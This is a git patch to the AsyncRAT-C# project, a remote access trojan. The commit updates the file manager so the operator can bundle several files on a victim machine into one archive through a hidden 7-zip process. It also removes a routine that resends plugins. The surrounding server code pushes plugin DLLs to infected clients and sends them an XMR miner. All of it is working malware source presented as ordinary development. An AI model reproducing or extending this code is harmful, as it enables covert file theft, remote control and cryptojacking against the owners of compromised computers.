From c9f6cc5429140409780874cd48d0c86f19173fb7 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 9 Oct 2019 09:43:33 +0300 Subject: [PATCH] update update file manager --- .../FileManager/Handler/FileManager.cs | 22 ++++++++++++++----- AsyncRAT-C#/Server/Connection/Clients.cs | 21 +----------------- AsyncRAT-C#/Server/Forms/FormFileManager.cs | 15 ++++++++----- AsyncRAT-C#/Server/Handle Packet/Packet.cs | 6 ----- 4 files changed, 27 insertions(+), 37 deletions(-) diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs index 65cfd35..fa413e3 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs @@ -140,11 +140,24 @@ namespace Plugin.Handler } if (unpack_msgpack.ForcePathObject("Zip").AsString == "true") { - ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, true); + StringBuilder sb = new StringBuilder(); + StringBuilder location = new StringBuilder(); + foreach (string path in unpack_msgpack.ForcePathObject("Path").AsString.Split(new[] { "-=>" }, StringSplitOptions.None)) + { + if (!string.IsNullOrWhiteSpace(path)) + { + sb.Append($"-ir!\"{path}\" "); + if (location.Length == 0) + location.Append(Path.GetFullPath(path)); + } + } + Debug.WriteLine(sb.ToString()); + Debug.WriteLine(location.ToString()); + ZipCommandLine(sb.ToString(), true, location.ToString()); } else { - ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, false); + ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, false, ""); } break; } @@ -164,14 +177,14 @@ namespace Plugin.Handler } } - private void ZipCommandLine(string args, bool isZip) + private void ZipCommandLine(string args, bool isZip, string location) { if (isZip) { Process.Start(new ProcessStartInfo { FileName = "\"" + Packet.ZipPath + "\"", - Arguments = $"a -r \"{args}.zip\" \"{args}\" -y", + Arguments = $"a -r \"{location}.zip\" {args} -y", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = false, @@ -351,7 +364,6 @@ namespace Plugin.Handler msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); msgpack2.ForcePathObject("File").LoadFileAsBytes(file); tempSocket.Send(msgpack2.Encode2Bytes()); - tempSocket.Dispose(); } catch { diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 3077dfb..b913e74 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -227,7 +227,7 @@ namespace Server.Connection } } - public void SendPlugin(string hash) // client is missing some plguins, sending them + public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb { try { @@ -250,25 +250,6 @@ namespace Server.Connection } } - public void ReSendPAlllugins() // because we used ReSendPlugins ToolStripMenuItem - { - try - { - foreach (var plugin in Settings.Plugins) - { - MsgPack msgPack = new MsgPack(); - msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); - msgPack.ForcePathObject("Dll").SetAsString(plugin.Value); - msgPack.ForcePathObject("Hash").SetAsString(plugin.Key); - Send(msgPack.Encode2Bytes()); - } - } - catch (Exception ex) - { - new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); - } - } - public void KeepAlivePacket(object o) { lock (SendSync) diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index 22b997a..524daff 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -426,15 +426,18 @@ namespace Server.Forms { if (listView1.SelectedItems.Count > 0) { + StringBuilder files = new StringBuilder(); foreach (ListViewItem itm in listView1.SelectedItems) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "zip"; - msgpack.ForcePathObject("Path").AsString = itm.ToolTipText; - msgpack.ForcePathObject("Zip").AsString = "true"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + files.Append(itm.ToolTipText + "-=>"); + } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "zip"; + msgpack.ForcePathObject("Path").AsString = files.ToString(); + msgpack.ForcePathObject("Zip").AsString = "true"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index 1892cff..af37160 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -176,12 +176,6 @@ namespace Server.Handle_Packet break; } - case "sendPlugin+": - { - client.ReSendPAlllugins(); - break; - } - case "GetXmr": { new HandleMiner().SendMiner(client);